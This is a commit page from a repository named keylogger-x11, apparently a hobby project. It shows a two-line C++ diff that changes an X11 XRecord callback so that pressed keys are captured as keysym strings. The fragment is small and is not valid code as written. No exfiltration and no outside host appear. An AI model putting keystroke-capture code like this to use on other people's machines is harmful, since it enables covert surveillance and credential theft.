summaryrefslogtreecommitdiffstats
path: root/srcs
diff options
context:
space:
mode:
authorVianney Bouchaud <vianney@bouchaud.org>2011-10-06 19:55:56 +0200
committerVianney Bouchaud <vianney@bouchaud.org>2011-10-06 19:55:56 +0200
commit9f98bee63998e8c9fc0e78f9e2bccba146c2bd16 (patch)
treefad0f622e13b7dcaa9ae29c3bf0b68c46d689383 /srcs
parent00701af646de99bf0c7b0d16a29edcaa4707b3e8 (diff)
downloadkeylogger-x11-9f98bee63998e8c9fc0e78f9e2bccba146c2bd16.tar.gz
keylogger-x11-9f98bee63998e8c9fc0e78f9e2bccba146c2bd16.tar.xz
Editing eventCallback in using std::string solv.
Diffstat (limited to 'srcs')
-rw-r--r--srcs/Keylogger.cpp4
1 files changed, 2 insertions, 2 deletions
diff --git a/srcs/Keylogger.cpp b/srcs/Keylogger.cpp
index 2dd2b90..93bd1db 100644
--- a/srcs/Keylogger.cpp
+++ b/srcs/Keylogger.cpp
@@ -69,7 +69,7 @@ bool Keylogger::xConnect(string displayName)
return (true);
}
-static std::string Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook)
+static std::string &Keylogger::eventCallback(XPointer priv, XRecordInterceptData *hook, std::string &solv)
{
if (hook->category != XRecordFromServer)
{
@@ -81,7 +81,7 @@ static std::string Keylogger::eventCallback(XPointer priv, XRecordInterceptData
if(data->event.u.u.type == KeyPress)
{
int c = data->event.u.u.detail;
- std::string solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0));
+ solv = XKeysymToString(XKeycodeToKeysym(userData->ctrlDisplay, c, 0));
}
XRecordFreeData(hook);
return (solv);